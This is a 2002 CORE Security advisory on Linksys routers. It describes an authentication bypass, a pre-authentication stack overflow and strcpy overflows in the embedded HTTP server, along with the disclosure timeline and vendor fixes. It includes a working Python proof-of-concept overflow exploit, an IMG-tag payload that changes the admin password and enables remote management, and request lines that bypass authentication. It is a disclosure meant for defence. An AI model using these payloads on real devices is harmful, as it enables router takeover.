CORE-20021005: Vulnerability Report For Linksys Devices

[Carlos Sarraute <carlos () corest com>]

CORE Security Technologies
http://www.corest.com

Vulnerability Report For Linksys Devices



Date Published: 2002-12-02

Last Update: 2002-12-02

Advisory ID: CORE-20021005

Bugtraq ID: None currently assigned.

CVE: None currently assigned.

Title: Remotely exploitable Buffer overflows and Authentication 
bypassing bugs
on Linksys BEFW11S4 Wireless router and other devices.

Class: Implementation flaws

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL: http://www.corest.com/common/showdoc.php?idx=263&idxseccion=10

Vendors contacted:

- Linksys
. CORE notification: 2002-11-12
. Notification acknowledged by Linksys: 2002-11-13
. Linksys fix provided in response to another advisory: 2002-11-15 (v1.43.3)
. CORE tested fix, found new and still existing bugs: 2002-11-15
. Linksys fix provided: 2002-11-22 (v1.44)
. CORE tested fix: 2002-11-22
. Linksys final testing and statements: 2002-12-02

Release Mode: COORDINATED RELEASE


*Vulnerability Description:*

Many Linksys' network appliances have a remote administration and 
configuration
interface via HTTP, either from the local network, or, if it's enabled, from
any host across the internet. The implementation of the embedded HTTP server
presents several different exploitable vulnerabilities, some of them 
allow an
unauthorized user to gain control of the appliance, some let an attacker
reboot it, and some are of an unknown severity.

One of the bugs was independently discovered by Seth Bromberger and other
people as well, and was partially fixed by Linksys on firmwares version 
1.43.3
(see [2]). Some of the other bugs were discussed on different mailing 
lists, and
were incorrectly tagged as different Denial of Service bugs, while 
either they
are different incarnations of the same bugs or are exploitable buffer 
overflows
leading to code execution, as we will try to explain in this advisory. Yet
some other bugs, form a big family from which only one was mentioned in an
iDefense advisory [3].

The first bug is due to the fact that no authentication is required to 
access
any .xml page from the appliance. This is needed to support UPnP, but is not
disabled when UPnP support is disabled. An error in how the URL is parsed
allows any user to access any page in the remote administration interface
without supplying a password. After this, she could modify filtering rules,
change the administration password, enable remote administration from 
any host
on the internet, upload a new firmware, and perform any other configuration
action an authenticated user is able to do. This bug was partially fixed on
firmware version 1.43.3, but in this version there is still a way to
bypass authentication using the checks for UPnP's .xml pages. At the same
time, three other similar bugs were introduced in this firmware (only for
BEFW11S4), which allow authentication bypassing in a similar way.

The second kind of bugs are due to a stack based buffer overflow, and let an
attacker execute arbitrary code in the appliance, gaining total control over
it. After this, she could change any of the configuration options previously
mentioned, or even turn it into an agent which could be used as stepping 
stone
to pivot, either to the internal network, or to the internet, as part of a
more complex attack. As this bug is present in the code previous to
authentication, no password is needed to exploit this vulnerability.

Additionally, there are several "heap" based buffer overflows, all of 
them, as
far as we could verify, are post authentication. We haven't determined 
if the
exploitation of these bugs may lead to arbitrary code execution or any other
way of "privilege escalation", but we do not discard this possibility.


*Vulnerable Systems:*

The problems were identified and tested on:

- Linksys BEFW11S4 v2. Firmware v1.42.7
- Linksys BEFW11S4 v2. Firmware v1.43
- Linksys BEFW11S4 v2. Firmware v1.43.3 (partially fixes some bugs)

Known to be vulnerable to all the pre v.1.43.3 bugs:

- Linksys BEFW11S4 v2. Firmware v1.42.7
- Linksys BEFW11S4 v2. Firmware v1.43
- Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.42.7
- Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.43
- Linksys BEFSR81. Firmware v2.42.7.1
- Linksys BEFN2PS4. Firmware v1.42.7
- Linksys BEFSX41. Firmware v1.43
- Linksys BEFSX41. Firmware v1.43.3
- Linksys BEFSX41. Firmware v1.43.4

Known to be vulnerable to some of the bugs here described:
- Linksys BEFVP41. Firmware v1.40.2
- Linksys BEFVP41. Firmware v1.40.3

Known to have some bugs fixed and some new introduced:
- Linksys BEFW11S4 v2. Firmware v1.43.3
- Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.43.3

Firmwares previous to those mentioned here may be vulnerable to some of the
vulnerabilities here described, but were not verified.


*Solution/Vendor Information*

"Linksys has already posted firmware updates for the following affected 
products at
http://www.linksys.com/download/ :

- Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v. 1.44
- Linksys BEFSR81. Firmware v. 2.44
- Linksys BEFVP41. Firmware v. 1.40.4
- Linksys BEFSX41. Firmware v. 1.44
- Linksys BEFW11S4 ver2. Firmware v. 1.44

We are currently working on updates for the following products, and hope to
have them posted this week:

- Linksys BEFW11S4 ver1
- Linksys HPRO200
- Linksys BEFN2PS4

Linksys recommends that users update their firmware for their device,
if available. For users of products that do not yet have fixes available,
it is recommended to disable remote administration to minimize the risk of
an attack until the updated firmware versions are posted."


*Workarounds*

- Disable "Remote Management" if it's enabled. This will restrict the
exploitability of the bugs to the local network, or require a little
smarter attack, for example, an email with an embedded Img tag may, upon
reading, enable "Remote Management", giving the attacker full control
of the appliance across the internet. For example:

<Img 
Src=http://192.168.1.1/Gozila.cgi?setPasswd=hola&RemoteManagement=1&.xml=1>

- On firmwares newer than 1.43.3 the Remote Management port can be changed.
This will not make the attack impossible at all, but will somehow make it
a little tougher for an attacker, probably giving you some more time to
the detect her.


*Credits:*

These vulnerabilities were discovered and researched by Gerardo Richarte at
CORE SECURITY TECHNOLOGIES.

We would like to thank Jay Price from Linksys for the quick response
to these issues.


*Technical Description - Exploit/Concept Code*

Every test described in this section was done using a Linksys BEFW11S4 
v2 with
firmware version 1.42.7, bought on the first days of October in 2002, no
firmware upgrade was applied to it until a new firmware version was out, 
after
this we installed 1.43.3 on it to confirm our findings. We also verified 
other
versions of the firmware (namely 1.43) and firmwares for other products from
Linksys, and all of them presented the same vulnerabilities. Although we
haven't been able to verify the existence of these bugs in a real 
environment,
detailed review of the firmware indicates all the bugs here described are
present.

Authentication Bypassing vulnerabilities:
~~~~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~~~~~

This vulnerability was independently discovered and reported to Linksys 
by at
least two other persons. Seth Bromberger posted a report to bugtraq about
this vulnerability (see [2]). It was partially fixed in firmware v1.43.3,
but it's still possible to exploit it, keep on reading.

As part of the UPnP implementation [1], the Linksys family of products 
multicast
their features as part of UPnP's Discovery step. For this UDP packets 
are sent
from port 1901 to multicast address 239.255.255.250 port 1900. The following
are two examples of such packets' data.

NOTIFY * HTTP/1.1
HOST:239.255.255.250:1900
Cache-Control:max-age=120
Location:http://192.168.1.1:5678/rootDesc.xml
NT:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777
NTS:ssdp:alive
Server:NT/5.0 UPnP/1.0
USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777


NOTIFY * HTTP/1.1
HOST:239.255.255.250:1900
Cache-Control:max-age=120
Location:http://192.168.1.1:5678/rootDesc.xml
NT:urn:schemas-upnp-org:device:InternetGatewayDevice:1
NTS:ssdp:alive
Server:NT/5.0 UPnP/1.0
USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777::urn:schemas-upnp-org:device:InternetGatewayDevice:1

In response to these packets, an UPnP control point will retrieve a 
description
from the URL supplied in the NOTIFY packet, using the HTTP protocol. In our
case this URL is http://192.168.1.1:5678/rootDesc.xml, and no authentication
is needed to access it (you can test this using the browser of your choice).
In order to answer requests to port 5678 and to serve remote administration
pages on port 80, Linksys' products use the same embedded HTTP server
"application".

The HTTP server will check the requested URL for the substring ".xml", 
if this
substring is present, all the authentication verification code will be just
skipped, lets see the following ARM assembly fragment, extracted from a
firmware image:

01797E LDR R0, =HTTPRequest
017980 STR R7, [R0,#HttpRequest.buffer]
017982 LDR R0, =HTTPRequest
017984 LDRH R0, [R0,#HttpRequest.method_length]
017986 ADD R0, R0, R7
017988 ADD R0, #1
01798A LDR R1, =HTTPRequest
01798C STR R0, [R1,#HttpRequest.path]
01798E ADD R0, R7, #0
017990 ADR R1, a_xml_0 ; ".xml"
017992 BL strstr ; (string, subst)
017996 CMP R0, #0
017998 BEQ loc_179A2 ; read more from net and do auth
01799A MOV R0, #0
01799C LDR R1, =HTTPRequest
01799E STRH R0, [R1,#HttpRequest.has_args+2]
0179A0 B loc_17ACE ; skip auth

As this code is shared for serving UPnP requests (on port 5678) and any 
other
HTTP requests, the authentication can be bypassed just adding the string
".xml" anywhere in the requested URL: The function strstr() at 0x17992 will
answer there is a substring matching ".xml" and the conditional jump at
0x17ACE will skip the authentication verification code (and some other 
code as
well).

These checks were reinforced with additional comparisons. The idea was to
authorize requests without authentication only for /rootDesc.xml,
/Layer3Forwarding.xml, /WANCfg.xml and WANIPCn.xml. But the request is 
parsed
in, at least, two different places in the code, and these two parsings 
are not
coherent, so there is a still a way to bypass the authentication. We 
will not go
through the code this time, but if you replace the correct line in
linksys_exploit.py (below) you would be able to access the Remote Management
interface without having the correct password:

self.toSend = "BBB /Log.htm GET /rootDesc.xml"

There are other ways to exploit this bug, for example, we've been able to
craft an HTML page which, when loaded, changes the Remote Management 
password,
and enables Remote Management through the internet. Of course, this page 
could
be attached to an email, and be used to perform these changes "from the
internet, even when the Remote Management feature is disabled".

Additionally, in firmware v1.43.3 three other authentication bypassing
vulnerabilities were introduced. These new vulnerabilities work in 
pretty much
the same way as the original ".xml" vulnerability, but the new magic strings
are different: "TxRxTest", "CalibrationTest" and "WriteCalibration". Linksys
reported that these vulnerabilities are only present in the wireless 
products of the
family. It's worth to mention that we haven't verified the security
implications (if there are any) of allowing unauthorized access to these 
three
requests.

Stack Based Buffer Overflows:
~~~~~ ~~~~~ ~~~~~~ ~~~~~~~~~

Following the previously described code, if the request line does not 
contain
the substring ".xml", if it's a GET request and, after what we believe is a
small delay, a second part of the request is read from the net. On entry to
this function, space is allocated in the stack for local variables and
buffers. Only 0x1FC+0x1F0 = 1004 bytes are reserved.

01791C PUSH {R0-R2,R4-R7,LR}
01791E ADD R7, R0, #0
017920 SUB SP, SP, #0x1FC
017922 SUB SP, SP, #0x1F0
017924 LDR R0, =unk_A016C

Then, 1596 bytes are read from the net into a local buffer in the stack.
Not every request will have enough bytes to overflow the buffer, and that's
why the code doesn't usually crash. But if a long request is sent, the 
buffer
is overflown and the stack can be modified "a piaccere". Note that the 
"first
fragment" is read before entering these functions, into another buffer
allocated in the stack.

0179E4 ADD SP, SP, #4
0179E6 LDR R0, [R6,#HttpRequest.response_length]
0179E8 CMP R0, #0
0179EA BEQ loc_187D8
0179EC MOV R1, SP
0179EE LDR R0, [SP,#connection_id]
0179F0 LDR R2, =1596
0179F2 BL read_from_net ; (sock, buffer, buffer_size)
0179F6 ADD R4, R0, #0
0179F8 ADD R2, R4, #0
0179FA ADR R1, aSFP ; "Second fragmented packe.."
0179FC MOV R0, #2
0179FE BL log ; (loglevel,char *format,...)
017A02 MOV R1, #0
017A04 MOV R0, SP
017A06 STRB R1, [R0,R4]
017A08 MOV R1, SP
017A0A ADD R0, R7, #0
017A0C BL strcat

There is a another problem on this code fragment. After reading the second
fragment of the request, strcat() is used to append it to the first 
fragment,
but the first fragment is also stored in a local buffer of 1596 bytes.
While this is in fact a buffer overflow, its exploitability is not yet
determined, as we are dealing with a bigendian setup, and all valid memory
addresses contain a zero in their most significant byte... But we've seen
tougher bugs exploited, so...

This second vulnerability regarding strcat() was partially fixed on 
firmware v
1.43.3. Partially for two different reasons:

On one side, there are two callers of this function, from what we could
determine one caller is responsible for requests done to the Remote
Management port, and the other caller answers requests to port 5678.
Only one of these functions was fixed (extending the buffer size from 1596
to 3192), but the other function (the one answer requests on port 5678) is
still allocating only 1596 bytes. You can test this vulnerability changing
the correct line in, again, linksys_exploit.py to:

self.s.connect(('192.168.1.1',5678))

For this to work, UPnP must be enabled (at least on v1.43.3)

On the other side this is only a partial fix because, although the
buffer was enlarged from 1596 to 3192, the read() for the first fragment
was also increased from 1596 to 3192 bytes, and the strcat() would still
overflow the buffer if there are more than 1596 bytes to read for the first
fragment. This does not immediately lead to a vulnerability, as Linksys'
internal TCP implementation will not return more than MTU bytes on a
single read, but if this fact is changed in the future, this vulnerability
will mysteriously re-appear.

The following python program will exploit the first of the two buffer
overflows, and redirect the execution flow to jump to the address 
0x175fa (only
valid for BEFW11S4 for firmware v1.42.7. For v1.43 or other appliances 
you'll
have to change it). For this proof of concept exploit we are not introducing
our own code (or "shellcode"), we are rather using code already present 
in the
firmware, with the only purpose of showing the exploitability of the bug.


------- linksys_exploit.py --------
import socket
import struct
import select

class Exploit:
def __init__(self):
pass

def setup(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect(('192.168.1.1',80))

self.returnAddress = 0x1834c # 1.43 log(2,"unknown file name!")
self.returnAddress = 0x175fa # 1.42.7 log(2,"unknown file name!")

self.paddingSize = 1500-20-20+1004+7*4
# 1500 is MTU
# 20 IP header
# 20 TCP header
# 1004 for allocated space
# 7 saved registers
self.toSend = "GET "
self.toSend += "A"*(self.paddingSize-len(self.toSend))
self.toSend += struct.pack(">L", self.returnAddress)

def attack(self):
self.s.send(self.toSend)
(r,w,x) = select.select([self.s],[],[],2)
if self.s in r:
print self.s.recv(100000)
self.s.close()

def run(self):
self.setup()
self.attack()

def main():
ex = Exploit()
ex.run()

main()
-----------------------------------

To understand what the code at the chosen address does, we need some more
insight in what are firmware's capabilities.

In the previous assembly fragment, at 0x179FE you can see a function we 
named
log() being called. This function will send an SNMP trap to the 
configured SNMP
server. The first argument (2 in this example) is a bitmask indicating the
facility the message applies to. You can configure your SNMP server from the
Log tab in the HTTP administration page. From this page you can also 
enable or
disable the "Access" facility. If you check the source for that page,
you'll see it's setting bit 0 of the rLog variable. The other meaningful 
bits
are, apparently 1,2 and 3, "System", "PPPoE & RAS" and "NAT" facilities,
respectively. We first thought we would have to manually deal with 
bits!, but
we later found there is a page you can use to change these values, if your
Linksys appliance is at 192.168.1.1 you can try your preferred browser on
http://192.168.1.1/LogManage.htm. This page is not reachable from any other
page in the Remote Management system.

Back to where we left. The described code fragment is calling log(2, "Second
fragmented packet comes in, len=%d", len). In order to see the SNMP trap
generated we'll have to enable facility "System" and setup our SNMP traps
server. After doing this, you should start seeing SNMP traffic coming from
the appliance. If you don't want to use a sniffer, you can either download
some SNMP monitoring application, use one you already have, use netcat 
or use
the python program included, which just dumps incoming packets to UDP port
162... which is a little more than enough.

Back to the last remaining bit of the exploit, the code we are jumping 
to is:

0175FA MOV R0, #1
0175FC LDR R1, =unk_A0180
0175FE STR R0, [R1,#0x20]
017600 ADR R1, aUnknownFileNam ; "Unknown File Name !"
017602 MOV R0, #2
017604 BL log

This code just sends an SNMP trap with the string "Unknown File Name !"
through the network. So, if the exploit works and you are able to see SNMP
traps, you'll see this string on the net. After this the appliance will 
reboot
itself, and start working again, without loosing any configuration. If 
you are
doing all this on a wireless connection as we did, you may need to
rescan/reconnect to the AP in order for it to work again (probably only true
if WEP is enabled)

------- snmp-traps.py --------
import socket

class SNMPTrapsServer:
def __init__(self):
pass

def start(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.s.bind(("0",162))
while 1:
snmp = self.s.recv(1500)
print snmp[73:]

def stop(self):
self.s.close()

server = SNMPTrapsServer()
server.start()
server.stop()
------------------------------

"Heap" Based Buffer Overflows:
~~~~~~ ~~~~~ ~~~~~~ ~~~~~~~~~

Configuration is maintained in global variables on fixed locations, 
there is no
dynamic heap allocation routines in the firmware, as far as we could
determine. From what we saw, every string variable is copied from the HTTP
request to the global storage using strcpy(), what directly turns every 
string
variable in a possibility of causing a buffer overflow.

Ignoring the authentication bypassing bugs (which will hopefully be fixed
now), to be able to overflow any of these buffers, an attacker must be
authenticated, and even then, we are not sure how much damage can be done.
From our tests, it is possible to force a reboot using some of these buffer
overflows. And although we haven't been able to execute arbitrary code 
abusing
any of this bugs, we do not discard the possibility. There are some 
linked lists
handling (related to active connections), and some function pointers 
(related
to IRQ handling) probably too far ahead in the memory to be reachable 
with one
of these buffer overflows.

Some of the variables which are copied using strcpy() are:

"V_nameA" through "V_nameJ", "Vn?" where "?" is one of 30 different 
characters,
"ApName0" through "ApName9", "hostName", "DomainName", "sysPasswd",
"wirelessESSID", "Passphrase", "pppoeUName", "pppoePWD", "pppoeSName",
"community1", "community2", "community3", "community4", probably others.


*REFERENCES:*

[1] Universal Plug and Play Device Architecture, version 1.0
http://www.upnp.org/download/UPnPDA10_20000613.htm

[2] Linksys router vulnerability
http://online.securityfocus.com/archive/1/300402

[3] iDefense security advisory
http://www.idefense.com/advisory/11.19.02a.txt


*DISCLAIMER:*

The contents of this advisory are copyright (c) 2002 CORE SECURITY 
TECHNOLOGIES
and may be distributed freely provided that no fee is charged for this
distribution and proper credit is given.